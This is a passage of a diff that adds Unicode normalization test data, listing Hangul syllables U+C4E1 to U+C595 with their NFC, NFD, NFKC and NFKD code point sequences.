+{ source: [0xC4E1], NFC: [0xC4E1], NFD: [0x110A, 0x1172, 0x11B4], NFKC: [0xC4E1], NFKD: [0x110A, 0x1172, 0x11B4] },
+{ source: [0xC4E2], NFC: [0xC4E2], NFD: [0x110A, 0x1172, 0x11B5], NFKC: [0xC4E2], NFKD: [0x110A, 0x1172, 0x11B5] },
+{ source: [0xC4E3], NFC: [0xC4E3], NFD: [0x110A, 0x1172, 0x11B6], NFKC: [0xC4E3], NFKD: [0x110A, 0x1172, 0x11B6] },
+{ source: [0xC4E4], NFC: [0xC4E4], NFD: [0x110A, 0x1172, 0x11B7], NFKC: [0xC4E4], NFKD: [0x110A, 0x1172, 0x11B7] },
+{ source: [0xC4E5], NFC: [0xC4E5], NFD: [0x110A, 0x1172, 0x11B8], NFKC: [0xC4E5], NFKD: [0x110A, 0x1172, 0x11B8] },
+{ source: [0xC4E6], NFC: [0xC4E6], NFD: [0x110A, 0x1172, 0x11B9], NFKC: [0xC4E6], NFKD: [0x110A, 0x1172, 0x11B9] },
+{ source: [0xC4E7], NFC: [0xC4E7], NFD: [0x110A, 0x1172, 0x11BA], NFKC: [0xC4E7], NFKD: [0x110A, 0x1172, 0x11BA] },
+{ source: [0xC4E8], NFC: [0xC4E8], NFD: [0x110A, 0x1172, 0x11BB], NFKC: [0xC4E8], NFKD: [0x110A, 0x1172, 0x11BB] },
+{ source: [0xC4E9], NFC: [0xC4E9], NFD: [0x110A, 0x1172, 0x11BC], NFKC: [0xC4E9], NFKD: [0x110A, 0x1172, 0x11BC] },
+{ source: [0xC4EA], NFC: [0xC4EA], NFD: [0x110A, 0x1172, 0x11BD], NFKC: [0xC4EA], NFKD: [0x110A, 0x1172, 0x11BD] },
+{ source: [0xC4EB], NFC: [0xC4EB], NFD: [0x110A, 0x1172, 0x11BE], NFKC: [0xC4EB], NFKD: [0x110A, 0x1172, 0x11BE] },
+{ source: [0xC4EC], NFC: [0xC4EC], NFD: [0x110A, 0x1172, 0x11BF], NFKC: [0xC4EC], NFKD: [0x110A, 0x1172, 0x11BF] },
+{ source: [0xC4ED], NFC: [0xC4ED], NFD: [0x110A, 0x1172, 0x11C0], NFKC: [0xC4ED], NFKD: [0x110A, 0x1172, 0x11C0] },
+{ source: [0xC4EE], NFC: [0xC4EE], NFD: [0x110A, 0x1172, 0x11C1], NFKC: [0xC4EE], NFKD: [0x110A, 0x1172, 0x11C1] },
+{ source: [0xC4EF], NFC: [0xC4EF], NFD: [0x110A, 0x1172, 0x11C2], NFKC: [0xC4EF], NFKD: [0x110A, 0x1172, 0x11C2] },
+{ source: [0xC4F0], NFC: [0xC4F0], NFD: [0x110A, 0x1173], NFKC: [0xC4F0], NFKD: [0x110A, 0x1173] },
+{ source: [0xC4F1], NFC: [0xC4F1], NFD: [0x110A, 0x1173, 0x11A8], NFKC: [0xC4F1], NFKD: [0x110A, 0x1173, 0x11A8] },
+{ source: [0xC4F2], NFC: [0xC4F2], NFD: [0x110A, 0x1173, 0x11A9], NFKC: [0xC4F2], NFKD: [0x110A, 0x1173, 0x11A9] },
+{ source: [0xC4F3], NFC: [0xC4F3], NFD: [0x110A, 0x1173, 0x11AA], NFKC: [0xC4F3], NFKD: [0x110A, 0x1173, 0x11AA] },
+{ source: [0xC4F4], NFC: [0xC4F4], NFD: [0x110A, 0x1173, 0x11AB], NFKC: [0xC4F4], NFKD: [0x110A, 0x1173, 0x11AB] },
+{ source: [0xC4F5], NFC: [0xC4F5], NFD: [0x110A, 0x1173, 0x11AC], NFKC: [0xC4F5], NFKD: [0x110A, 0x1173, 0x11AC] },
+{ source: [0xC4F6], NFC: [0xC4F6], NFD: [0x110A, 0x1173, 0x11AD], NFKC: [0xC4F6], NFKD: [0x110A, 0x1173, 0x11AD] },
+{ source: [0xC4F7], NFC: [0xC4F7], NFD: [0x110A, 0x1173, 0x11AE], NFKC: [0xC4F7], NFKD: [0x110A, 0x1173, 0x11AE] },
+{ source: [0xC4F8], NFC: [0xC4F8], NFD: [0x110A, 0x1173, 0x11AF], NFKC: [0xC4F8], NFKD: [0x110A, 0x1173, 0x11AF] },
+{ source: [0xC4F9], NFC: [0xC4F9], NFD: [0x110A, 0x1173, 0x11B0], NFKC: [0xC4F9], NFKD: [0x110A, 0x1173, 0x11B0] },
+{ source: [0xC4FA], NFC: [0xC4FA], NFD: [0x110A, 0x1173, 0x11B1], NFKC: [0xC4FA], NFKD: [0x110A, 0x1173, 0x11B1] },
+{ source: [0xC4FB], NFC: [0xC4FB], NFD: [0x110A, 0x1173, 0x11B2], NFKC: [0xC4FB], NFKD: [0x110A, 0x1173, 0x11B2] },
+{ source: [0xC4FC], NFC: [0xC4FC], NFD: [0x110A, 0x1173, 0x11B3], NFKC: [0xC4FC], NFKD: [0x110A, 0x1173, 0x11B3] },
+{ source: [0xC4FD], NFC: [0xC4FD], NFD: [0x110A, 0x1173, 0x11B4], NFKC: [0xC4FD], NFKD: [0x110A, 0x1173, 0x11B4] },
+{ source: [0xC4FE], NFC: [0xC4FE], NFD: [0x110A, 0x1173, 0x11B5], NFKC: [0xC4FE], NFKD: [0x110A, 0x1173, 0x11B5] },
+{ source: [0xC4FF], NFC: [0xC4FF], NFD: [0x110A, 0x1173, 0x11B6], NFKC: [0xC4FF], NFKD: [0x110A, 0x1173, 0x11B6] },
+{ source: [0xC500], NFC: [0xC500], NFD: [0x110A, 0x1173, 0x11B7], NFKC: [0xC500], NFKD: [0x110A, 0x1173, 0x11B7] },
+{ source: [0xC501], NFC: [0xC501], NFD: [0x110A, 0x1173, 0x11B8], NFKC: [0xC501], NFKD: [0x110A, 0x1173, 0x11B8] },
+{ source: [0xC502], NFC: [0xC502], NFD: [0x110A, 0x1173, 0x11B9], NFKC: [0xC502], NFKD: [0x110A, 0x1173, 0x11B9] },
+{ source: [0xC503], NFC: [0xC503], NFD: [0x110A, 0x1173, 0x11BA], NFKC: [0xC503], NFKD: [0x110A, 0x1173, 0x11BA] },
+{ source: [0xC504], NFC: [0xC504], NFD: [0x110A, 0x1173, 0x11BB], NFKC: [0xC504], NFKD: [0x110A, 0x1173, 0x11BB] },
+{ source: [0xC505], NFC: [0xC505], NFD: [0x110A, 0x1173, 0x11BC], NFKC: [0xC505], NFKD: [0x110A, 0x1173, 0x11BC] },
+{ source: [0xC506], NFC: [0xC506], NFD: [0x110A, 0x1173, 0x11BD], NFKC: [0xC506], NFKD: [0x110A, 0x1173, 0x11BD] },
+{ source: [0xC507], NFC: [0xC507], NFD: [0x110A, 0x1173, 0x11BE], NFKC: [0xC507], NFKD: [0x110A, 0x1173, 0x11BE] },
+{ source: [0xC508], NFC: [0xC508], NFD: [0x110A, 0x1173, 0x11BF], NFKC: [0xC508], NFKD: [0x110A, 0x1173, 0x11BF] },
+{ source: [0xC509], NFC: [0xC509], NFD: [0x110A, 0x1173, 0x11C0], NFKC: [0xC509], NFKD: [0x110A, 0x1173, 0x11C0] },
+{ source: [0xC50A], NFC: [0xC50A], NFD: [0x110A, 0x1173, 0x11C1], NFKC: [0xC50A], NFKD: [0x110A, 0x1173, 0x11C1] },
+{ source: [0xC50B], NFC: [0xC50B], NFD: [0x110A, 0x1173, 0x11C2], NFKC: [0xC50B], NFKD: [0x110A, 0x1173, 0x11C2] },
+{ source: [0xC50C], NFC: [0xC50C], NFD: [0x110A, 0x1174], NFKC: [0xC50C], NFKD: [0x110A, 0x1174] },
+{ source: [0xC50D], NFC: [0xC50D], NFD: [0x110A, 0x1174, 0x11A8], NFKC: [0xC50D], NFKD: [0x110A, 0x1174, 0x11A8] },
+{ source: [0xC50E], NFC: [0xC50E], NFD: [0x110A, 0x1174, 0x11A9], NFKC: [0xC50E], NFKD: [0x110A, 0x1174, 0x11A9] },
+{ source: [0xC50F], NFC: [0xC50F], NFD: [0x110A, 0x1174, 0x11AA], NFKC: [0xC50F], NFKD: [0x110A, 0x1174, 0x11AA] },
+{ source: [0xC510], NFC: [0xC510], NFD: [0x110A, 0x1174, 0x11AB], NFKC: [0xC510], NFKD: [0x110A, 0x1174, 0x11AB] },
+{ source: [0xC511], NFC: [0xC511], NFD: [0x110A, 0x1174, 0x11AC], NFKC: [0xC511], NFKD: [0x110A, 0x1174, 0x11AC] },
+{ source: [0xC512], NFC: [0xC512], NFD: [0x110A, 0x1174, 0x11AD], NFKC: [0xC512], NFKD: [0x110A, 0x1174, 0x11AD] },
+{ source: [0xC513], NFC: [0xC513], NFD: [0x110A, 0x1174, 0x11AE], NFKC: [0xC513], NFKD: [0x110A, 0x1174, 0x11AE] },
+{ source: [0xC514], NFC: [0xC514], NFD: [0x110A, 0x1174, 0x11AF], NFKC: [0xC514], NFKD: [0x110A, 0x1174, 0x11AF] },
+{ source: [0xC515], NFC: [0xC515], NFD: [0x110A, 0x1174, 0x11B0], NFKC: [0xC515], NFKD: [0x110A, 0x1174, 0x11B0] },
+{ source: [0xC516], NFC: [0xC516], NFD: [0x110A, 0x1174, 0x11B1], NFKC: [0xC516], NFKD: [0x110A, 0x1174, 0x11B1] },
+{ source: [0xC517], NFC: [0xC517], NFD: [0x110A, 0x1174, 0x11B2], NFKC: [0xC517], NFKD: [0x110A, 0x1174, 0x11B2] },
+{ source: [0xC518], NFC: [0xC518], NFD: [0x110A, 0x1174, 0x11B3], NFKC: [0xC518], NFKD: [0x110A, 0x1174, 0x11B3] },
+{ source: [0xC519], NFC: [0xC519], NFD: [0x110A, 0x1174, 0x11B4], NFKC: [0xC519], NFKD: [0x110A, 0x1174, 0x11B4] },
+{ source: [0xC51A], NFC: [0xC51A], NFD: [0x110A, 0x1174, 0x11B5], NFKC: [0xC51A], NFKD: [0x110A, 0x1174, 0x11B5] },
+{ source: [0xC51B], NFC: [0xC51B], NFD: [0x110A, 0x1174, 0x11B6], NFKC: [0xC51B], NFKD: [0x110A, 0x1174, 0x11B6] },
+{ source: [0xC51C], NFC: [0xC51C], NFD: [0x110A, 0x1174, 0x11B7], NFKC: [0xC51C], NFKD: [0x110A, 0x1174, 0x11B7] },
+{ source: [0xC51D], NFC: [0xC51D], NFD: [0x110A, 0x1174, 0x11B8], NFKC: [0xC51D], NFKD: [0x110A, 0x1174, 0x11B8] },
+{ source: [0xC51E], NFC: [0xC51E], NFD: [0x110A, 0x1174, 0x11B9], NFKC: [0xC51E], NFKD: [0x110A, 0x1174, 0x11B9] },
+{ source: [0xC51F], NFC: [0xC51F], NFD: [0x110A, 0x1174, 0x11BA], NFKC: [0xC51F], NFKD: [0x110A, 0x1174, 0x11BA] },
+{ source: [0xC520], NFC: [0xC520], NFD: [0x110A, 0x1174, 0x11BB], NFKC: [0xC520], NFKD: [0x110A, 0x1174, 0x11BB] },
+{ source: [0xC521], NFC: [0xC521], NFD: [0x110A, 0x1174, 0x11BC], NFKC: [0xC521], NFKD: [0x110A, 0x1174, 0x11BC] },
+{ source: [0xC522], NFC: [0xC522], NFD: [0x110A, 0x1174, 0x11BD], NFKC: [0xC522], NFKD: [0x110A, 0x1174, 0x11BD] },
+{ source: [0xC523], NFC: [0xC523], NFD: [0x110A, 0x1174, 0x11BE], NFKC: [0xC523], NFKD: [0x110A, 0x1174, 0x11BE] },
+{ source: [0xC524], NFC: [0xC524], NFD: [0x110A, 0x1174, 0x11BF], NFKC: [0xC524], NFKD: [0x110A, 0x1174, 0x11BF] },
+{ source: [0xC525], NFC: [0xC525], NFD: [0x110A, 0x1174, 0x11C0], NFKC: [0xC525], NFKD: [0x110A, 0x1174, 0x11C0] },
+{ source: [0xC526], NFC: [0xC526], NFD: [0x110A, 0x1174, 0x11C1], NFKC: [0xC526], NFKD: [0x110A, 0x1174, 0x11C1] },
+{ source: [0xC527], NFC: [0xC527], NFD: [0x110A, 0x1174, 0x11C2], NFKC: [0xC527], NFKD: [0x110A, 0x1174, 0x11C2] },
+{ source: [0xC528], NFC: [0xC528], NFD: [0x110A, 0x1175], NFKC: [0xC528], NFKD: [0x110A, 0x1175] },
+{ source: [0xC529], NFC: [0xC529], NFD: [0x110A, 0x1175, 0x11A8], NFKC: [0xC529], NFKD: [0x110A, 0x1175, 0x11A8] },
+{ source: [0xC52A], NFC: [0xC52A], NFD: [0x110A, 0x1175, 0x11A9], NFKC: [0xC52A], NFKD: [0x110A, 0x1175, 0x11A9] },
+{ source: [0xC52B], NFC: [0xC52B], NFD: [0x110A, 0x1175, 0x11AA], NFKC: [0xC52B], NFKD: [0x110A, 0x1175, 0x11AA] },
+{ source: [0xC52C], NFC: [0xC52C], NFD: [0x110A, 0x1175, 0x11AB], NFKC: [0xC52C], NFKD: [0x110A, 0x1175, 0x11AB] },
+{ source: [0xC52D], NFC: [0xC52D], NFD: [0x110A, 0x1175, 0x11AC], NFKC: [0xC52D], NFKD: [0x110A, 0x1175, 0x11AC] },
+{ source: [0xC52E], NFC: [0xC52E], NFD: [0x110A, 0x1175, 0x11AD], NFKC: [0xC52E], NFKD: [0x110A, 0x1175, 0x11AD] },
+{ source: [0xC52F], NFC: [0xC52F], NFD: [0x110A, 0x1175, 0x11AE], NFKC: [0xC52F], NFKD: [0x110A, 0x1175, 0x11AE] },
+{ source: [0xC530], NFC: [0xC530], NFD: [0x110A, 0x1175, 0x11AF], NFKC: [0xC530], NFKD: [0x110A, 0x1175, 0x11AF] },
+{ source: [0xC531], NFC: [0xC531], NFD: [0x110A, 0x1175, 0x11B0], NFKC: [0xC531], NFKD: [0x110A, 0x1175, 0x11B0] },
+{ source: [0xC532], NFC: [0xC532], NFD: [0x110A, 0x1175, 0x11B1], NFKC: [0xC532], NFKD: [0x110A, 0x1175, 0x11B1] },
+{ source: [0xC533], NFC: [0xC533], NFD: [0x110A, 0x1175, 0x11B2], NFKC: [0xC533], NFKD: [0x110A, 0x1175, 0x11B2] },
+{ source: [0xC534], NFC: [0xC534], NFD: [0x110A, 0x1175, 0x11B3], NFKC: [0xC534], NFKD: [0x110A, 0x1175, 0x11B3] },
+{ source: [0xC535], NFC: [0xC535], NFD: [0x110A, 0x1175, 0x11B4], NFKC: [0xC535], NFKD: [0x110A, 0x1175, 0x11B4] },
+{ source: [0xC536], NFC: [0xC536], NFD: [0x110A, 0x1175, 0x11B5], NFKC: [0xC536], NFKD: [0x110A, 0x1175, 0x11B5] },
+{ source: [0xC537], NFC: [0xC537], NFD: [0x110A, 0x1175, 0x11B6], NFKC: [0xC537], NFKD: [0x110A, 0x1175, 0x11B6] },
+{ source: [0xC538], NFC: [0xC538], NFD: [0x110A, 0x1175, 0x11B7], NFKC: [0xC538], NFKD: [0x110A, 0x1175, 0x11B7] },
+{ source: [0xC539], NFC: [0xC539], NFD: [0x110A, 0x1175, 0x11B8], NFKC: [0xC539], NFKD: [0x110A, 0x1175, 0x11B8] },
+{ source: [0xC53A], NFC: [0xC53A], NFD: [0x110A, 0x1175, 0x11B9], NFKC: [0xC53A], NFKD: [0x110A, 0x1175, 0x11B9] },
+{ source: [0xC53B], NFC: [0xC53B], NFD: [0x110A, 0x1175, 0x11BA], NFKC: [0xC53B], NFKD: [0x110A, 0x1175, 0x11BA] },
+{ source: [0xC53C], NFC: [0xC53C], NFD: [0x110A, 0x1175, 0x11BB], NFKC: [0xC53C], NFKD: [0x110A, 0x1175, 0x11BB] },
+{ source: [0xC53D], NFC: [0xC53D], NFD: [0x110A, 0x1175, 0x11BC], NFKC: [0xC53D], NFKD: [0x110A, 0x1175, 0x11BC] },
+{ source: [0xC53E], NFC: [0xC53E], NFD: [0x110A, 0x1175, 0x11BD], NFKC: [0xC53E], NFKD: [0x110A, 0x1175, 0x11BD] },
+{ source: [0xC53F], NFC: [0xC53F], NFD: [0x110A, 0x1175, 0x11BE], NFKC: [0xC53F], NFKD: [0x110A, 0x1175, 0x11BE] },
+{ source: [0xC540], NFC: [0xC540], NFD: [0x110A, 0x1175, 0x11BF], NFKC: [0xC540], NFKD: [0x110A, 0x1175, 0x11BF] },
+{ source: [0xC541], NFC: [0xC541], NFD: [0x110A, 0x1175, 0x11C0], NFKC: [0xC541], NFKD: [0x110A, 0x1175, 0x11C0] },
+{ source: [0xC542], NFC: [0xC542], NFD: [0x110A, 0x1175, 0x11C1], NFKC: [0xC542], NFKD: [0x110A, 0x1175, 0x11C1] },
+{ source: [0xC543], NFC: [0xC543], NFD: [0x110A, 0x1175, 0x11C2], NFKC: [0xC543], NFKD: [0x110A, 0x1175, 0x11C2] },
+{ source: [0xC544], NFC: [0xC544], NFD: [0x110B, 0x1161], NFKC: [0xC544], NFKD: [0x110B, 0x1161] },
+{ source: [0xC545], NFC: [0xC545], NFD: [0x110B, 0x1161, 0x11A8], NFKC: [0xC545], NFKD: [0x110B, 0x1161, 0x11A8] },
+{ source: [0xC546], NFC: [0xC546], NFD: [0x110B, 0x1161, 0x11A9], NFKC: [0xC546], NFKD: [0x110B, 0x1161, 0x11A9] },
+{ source: [0xC547], NFC: [0xC547], NFD: [0x110B, 0x1161, 0x11AA], NFKC: [0xC547], NFKD: [0x110B, 0x1161, 0x11AA] },
+{ source: [0xC548], NFC: [0xC548], NFD: [0x110B, 0x1161, 0x11AB], NFKC: [0xC548], NFKD: [0x110B, 0x1161, 0x11AB] },
+{ source: [0xC549], NFC: [0xC549], NFD: [0x110B, 0x1161, 0x11AC], NFKC: [0xC549], NFKD: [0x110B, 0x1161, 0x11AC] },
+{ source: [0xC54A], NFC: [0xC54A], NFD: [0x110B, 0x1161, 0x11AD], NFKC: [0xC54A], NFKD: [0x110B, 0x1161, 0x11AD] },
+{ source: [0xC54B], NFC: [0xC54B], NFD: [0x110B, 0x1161, 0x11AE], NFKC: [0xC54B], NFKD: [0x110B, 0x1161, 0x11AE] },
+{ source: [0xC54C], NFC: [0xC54C], NFD: [0x110B, 0x1161, 0x11AF], NFKC: [0xC54C], NFKD: [0x110B, 0x1161, 0x11AF] },
+{ source: [0xC54D], NFC: [0xC54D], NFD: [0x110B, 0x1161, 0x11B0], NFKC: [0xC54D], NFKD: [0x110B, 0x1161, 0x11B0] },
+{ source: [0xC54E], NFC: [0xC54E], NFD: [0x110B, 0x1161, 0x11B1], NFKC: [0xC54E], NFKD: [0x110B, 0x1161, 0x11B1] },
+{ source: [0xC54F], NFC: [0xC54F], NFD: [0x110B, 0x1161, 0x11B2], NFKC: [0xC54F], NFKD: [0x110B, 0x1161, 0x11B2] },
+{ source: [0xC550], NFC: [0xC550], NFD: [0x110B, 0x1161, 0x11B3], NFKC: [0xC550], NFKD: [0x110B, 0x1161, 0x11B3] },
+{ source: [0xC551], NFC: [0xC551], NFD: [0x110B, 0x1161, 0x11B4], NFKC: [0xC551], NFKD: [0x110B, 0x1161, 0x11B4] },
+{ source: [0xC552], NFC: [0xC552], NFD: [0x110B, 0x1161, 0x11B5], NFKC: [0xC552], NFKD: [0x110B, 0x1161, 0x11B5] },
+{ source: [0xC553], NFC: [0xC553], NFD: [0x110B, 0x1161, 0x11B6], NFKC: [0xC553], NFKD: [0x110B, 0x1161, 0x11B6] },
+{ source: [0xC554], NFC: [0xC554], NFD: [0x110B, 0x1161, 0x11B7], NFKC: [0xC554], NFKD: [0x110B, 0x1161, 0x11B7] },
+{ source: [0xC555], NFC: [0xC555], NFD: [0x110B, 0x1161, 0x11B8], NFKC: [0xC555], NFKD: [0x110B, 0x1161, 0x11B8] },
+{ source: [0xC556], NFC: [0xC556], NFD: [0x110B, 0x1161, 0x11B9], NFKC: [0xC556], NFKD: [0x110B, 0x1161, 0x11B9] },
+{ source: [0xC557], NFC: [0xC557], NFD: [0x110B, 0x1161, 0x11BA], NFKC: [0xC557], NFKD: [0x110B, 0x1161, 0x11BA] },
+{ source: [0xC558], NFC: [0xC558], NFD: [0x110B, 0x1161, 0x11BB], NFKC: [0xC558], NFKD: [0x110B, 0x1161, 0x11BB] },
+{ source: [0xC559], NFC: [0xC559], NFD: [0x110B, 0x1161, 0x11BC], NFKC: [0xC559], NFKD: [0x110B, 0x1161, 0x11BC] },
+{ source: [0xC55A], NFC: [0xC55A], NFD: [0x110B, 0x1161, 0x11BD], NFKC: [0xC55A], NFKD: [0x110B, 0x1161, 0x11BD] },
+{ source: [0xC55B], NFC: [0xC55B], NFD: [0x110B, 0x1161, 0x11BE], NFKC: [0xC55B], NFKD: [0x110B, 0x1161, 0x11BE] },
+{ source: [0xC55C], NFC: [0xC55C], NFD: [0x110B, 0x1161, 0x11BF], NFKC: [0xC55C], NFKD: [0x110B, 0x1161, 0x11BF] },
+{ source: [0xC55D], NFC: [0xC55D], NFD: [0x110B, 0x1161, 0x11C0], NFKC: [0xC55D], NFKD: [0x110B, 0x1161, 0x11C0] },
+{ source: [0xC55E], NFC: [0xC55E], NFD: [0x110B, 0x1161, 0x11C1], NFKC: [0xC55E], NFKD: [0x110B, 0x1161, 0x11C1] },
+{ source: [0xC55F], NFC: [0xC55F], NFD: [0x110B, 0x1161, 0x11C2], NFKC: [0xC55F], NFKD: [0x110B, 0x1161, 0x11C2] },
+{ source: [0xC560], NFC: [0xC560], NFD: [0x110B, 0x1162], NFKC: [0xC560], NFKD: [0x110B, 0x1162] },
+{ source: [0xC561], NFC: [0xC561], NFD: [0x110B, 0x1162, 0x11A8], NFKC: [0xC561], NFKD: [0x110B, 0x1162, 0x11A8] },
+{ source: [0xC562], NFC: [0xC562], NFD: [0x110B, 0x1162, 0x11A9], NFKC: [0xC562], NFKD: [0x110B, 0x1162, 0x11A9] },
+{ source: [0xC563], NFC: [0xC563], NFD: [0x110B, 0x1162, 0x11AA], NFKC: [0xC563], NFKD: [0x110B, 0x1162, 0x11AA] },
+{ source: [0xC564], NFC: [0xC564], NFD: [0x110B, 0x1162, 0x11AB], NFKC: [0xC564], NFKD: [0x110B, 0x1162, 0x11AB] },
+{ source: [0xC565], NFC: [0xC565], NFD: [0x110B, 0x1162, 0x11AC], NFKC: [0xC565], NFKD: [0x110B, 0x1162, 0x11AC] },
+{ source: [0xC566], NFC: [0xC566], NFD: [0x110B, 0x1162, 0x11AD], NFKC: [0xC566], NFKD: [0x110B, 0x1162, 0x11AD] },
+{ source: [0xC567], NFC: [0xC567], NFD: [0x110B, 0x1162, 0x11AE], NFKC: [0xC567], NFKD: [0x110B, 0x1162, 0x11AE] },
+{ source: [0xC568], NFC: [0xC568], NFD: [0x110B, 0x1162, 0x11AF], NFKC: [0xC568], NFKD: [0x110B, 0x1162, 0x11AF] },
+{ source: [0xC569], NFC: [0xC569], NFD: [0x110B, 0x1162, 0x11B0], NFKC: [0xC569], NFKD: [0x110B, 0x1162, 0x11B0] },
+{ source: [0xC56A], NFC: [0xC56A], NFD: [0x110B, 0x1162, 0x11B1], NFKC: [0xC56A], NFKD: [0x110B, 0x1162, 0x11B1] },
+{ source: [0xC56B], NFC: [0xC56B], NFD: [0x110B, 0x1162, 0x11B2], NFKC: [0xC56B], NFKD: [0x110B, 0x1162, 0x11B2] },
+{ source: [0xC56C], NFC: [0xC56C], NFD: [0x110B, 0x1162, 0x11B3], NFKC: [0xC56C], NFKD: [0x110B, 0x1162, 0x11B3] },
+{ source: [0xC56D], NFC: [0xC56D], NFD: [0x110B, 0x1162, 0x11B4], NFKC: [0xC56D], NFKD: [0x110B, 0x1162, 0x11B4] },
+{ source: [0xC56E], NFC: [0xC56E], NFD: [0x110B, 0x1162, 0x11B5], NFKC: [0xC56E], NFKD: [0x110B, 0x1162, 0x11B5] },
+{ source: [0xC56F], NFC: [0xC56F], NFD: [0x110B, 0x1162, 0x11B6], NFKC: [0xC56F], NFKD: [0x110B, 0x1162, 0x11B6] },
+{ source: [0xC570], NFC: [0xC570], NFD: [0x110B, 0x1162, 0x11B7], NFKC: [0xC570], NFKD: [0x110B, 0x1162, 0x11B7] },
+{ source: [0xC571], NFC: [0xC571], NFD: [0x110B, 0x1162, 0x11B8], NFKC: [0xC571], NFKD: [0x110B, 0x1162, 0x11B8] },
+{ source: [0xC572], NFC: [0xC572], NFD: [0x110B, 0x1162, 0x11B9], NFKC: [0xC572], NFKD: [0x110B, 0x1162, 0x11B9] },
+{ source: [0xC573], NFC: [0xC573], NFD: [0x110B, 0x1162, 0x11BA], NFKC: [0xC573], NFKD: [0x110B, 0x1162, 0x11BA] },
+{ source: [0xC574], NFC: [0xC574], NFD: [0x110B, 0x1162, 0x11BB], NFKC: [0xC574], NFKD: [0x110B, 0x1162, 0x11BB] },
+{ source: [0xC575], NFC: [0xC575], NFD: [0x110B, 0x1162, 0x11BC], NFKC: [0xC575], NFKD: [0x110B, 0x1162, 0x11BC] },
+{ source: [0xC576], NFC: [0xC576], NFD: [0x110B, 0x1162, 0x11BD], NFKC: [0xC576], NFKD: [0x110B, 0x1162, 0x11BD] },
+{ source: [0xC577], NFC: [0xC577], NFD: [0x110B, 0x1162, 0x11BE], NFKC: [0xC577], NFKD: [0x110B, 0x1162, 0x11BE] },
+{ source: [0xC578], NFC: [0xC578], NFD: [0x110B, 0x1162, 0x11BF], NFKC: [0xC578], NFKD: [0x110B, 0x1162, 0x11BF] },
+{ source: [0xC579], NFC: [0xC579], NFD: [0x110B, 0x1162, 0x11C0], NFKC: [0xC579], NFKD: [0x110B, 0x1162, 0x11C0] },
+{ source: [0xC57A], NFC: [0xC57A], NFD: [0x110B, 0x1162, 0x11C1], NFKC: [0xC57A], NFKD: [0x110B, 0x1162, 0x11C1] },
+{ source: [0xC57B], NFC: [0xC57B], NFD: [0x110B, 0x1162, 0x11C2], NFKC: [0xC57B], NFKD: [0x110B, 0x1162, 0x11C2] },
+{ source: [0xC57C], NFC: [0xC57C], NFD: [0x110B, 0x1163], NFKC: [0xC57C], NFKD: [0x110B, 0x1163] },
+{ source: [0xC57D], NFC: [0xC57D], NFD: [0x110B, 0x1163, 0x11A8], NFKC: [0xC57D], NFKD: [0x110B, 0x1163, 0x11A8] },
+{ source: [0xC57E], NFC: [0xC57E], NFD: [0x110B, 0x1163, 0x11A9], NFKC: [0xC57E], NFKD: [0x110B, 0x1163, 0x11A9] },
+{ source: [0xC57F], NFC: [0xC57F], NFD: [0x110B, 0x1163, 0x11AA], NFKC: [0xC57F], NFKD: [0x110B, 0x1163, 0x11AA] },
+{ source: [0xC580], NFC: [0xC580], NFD: [0x110B, 0x1163, 0x11AB], NFKC: [0xC580], NFKD: [0x110B, 0x1163, 0x11AB] },
+{ source: [0xC581], NFC: [0xC581], NFD: [0x110B, 0x1163, 0x11AC], NFKC: [0xC581], NFKD: [0x110B, 0x1163, 0x11AC] },
+{ source: [0xC582], NFC: [0xC582], NFD: [0x110B, 0x1163, 0x11AD], NFKC: [0xC582], NFKD: [0x110B, 0x1163, 0x11AD] },
+{ source: [0xC583], NFC: [0xC583], NFD: [0x110B, 0x1163, 0x11AE], NFKC: [0xC583], NFKD: [0x110B, 0x1163, 0x11AE] },
+{ source: [0xC584], NFC: [0xC584], NFD: [0x110B, 0x1163, 0x11AF], NFKC: [0xC584], NFKD: [0x110B, 0x1163, 0x11AF] },
+{ source: [0xC585], NFC: [0xC585], NFD: [0x110B, 0x1163, 0x11B0], NFKC: [0xC585], NFKD: [0x110B, 0x1163, 0x11B0] },
+{ source: [0xC586], NFC: [0xC586], NFD: [0x110B, 0x1163, 0x11B1], NFKC: [0xC586], NFKD: [0x110B, 0x1163, 0x11B1] },
+{ source: [0xC587], NFC: [0xC587], NFD: [0x110B, 0x1163, 0x11B2], NFKC: [0xC587], NFKD: [0x110B, 0x1163, 0x11B2] },
+{ source: [0xC588], NFC: [0xC588], NFD: [0x110B, 0x1163, 0x11B3], NFKC: [0xC588], NFKD: [0x110B, 0x1163, 0x11B3] },
+{ source: [0xC589], NFC: [0xC589], NFD: [0x110B, 0x1163, 0x11B4], NFKC: [0xC589], NFKD: [0x110B, 0x1163, 0x11B4] },
+{ source: [0xC58A], NFC: [0xC58A], NFD: [0x110B, 0x1163, 0x11B5], NFKC: [0xC58A], NFKD: [0x110B, 0x1163, 0x11B5] },
+{ source: [0xC58B], NFC: [0xC58B], NFD: [0x110B, 0x1163, 0x11B6], NFKC: [0xC58B], NFKD: [0x110B, 0x1163, 0x11B6] },
+{ source: [0xC58C], NFC: [0xC58C], NFD: [0x110B, 0x1163, 0x11B7], NFKC: [0xC58C], NFKD: [0x110B, 0x1163, 0x11B7] },
+{ source: [0xC58D], NFC: [0xC58D], NFD: [0x110B, 0x1163, 0x11B8], NFKC: [0xC58D], NFKD: [0x110B, 0x1163, 0x11B8] },
+{ source: [0xC58E], NFC: [0xC58E], NFD: [0x110B, 0x1163, 0x11B9], NFKC: [0xC58E], NFKD: [0x110B, 0x1163, 0x11B9] },
+{ source: [0xC58F], NFC: [0xC58F], NFD: [0x110B, 0x1163, 0x11BA], NFKC: [0xC58F], NFKD: [0x110B, 0x1163, 0x11BA] },
+{ source: [0xC590], NFC: [0xC590], NFD: [0x110B, 0x1163, 0x11BB], NFKC: [0xC590], NFKD: [0x110B, 0x1163, 0x11BB] },
+{ source: [0xC591], NFC: [0xC591], NFD: [0x110B, 0x1163, 0x11BC], NFKC: [0xC591], NFKD: [0x110B, 0x1163, 0x11BC] },
+{ source: [0xC592], NFC: [0xC592], NFD: [0x110B, 0x1163, 0x11BD], NFKC: [0xC592], NFKD: [0x110B, 0x1163, 0x11BD] },
+{ source: [0xC593], NFC: [0xC593], NFD: [0x110B, 0x1163, 0x11BE], NFKC: [0xC593], NFKD: [0x110B, 0x1163, 0x11BE] },
+{ source: [0xC594], NFC: [0xC594], NFD: [0x110B, 0x1163, 0x11BF], NFKC: [0xC594], NFKD: [0x110B, 0x1163, 0x11BF] },
+{ source: [0xC595], NFC: [0xC595], NFD: [0x110B, 0x1163, 0x11C0], NFKC: [0xC595], NFKD: [0x110B, 0x1163, 0x11C0] },
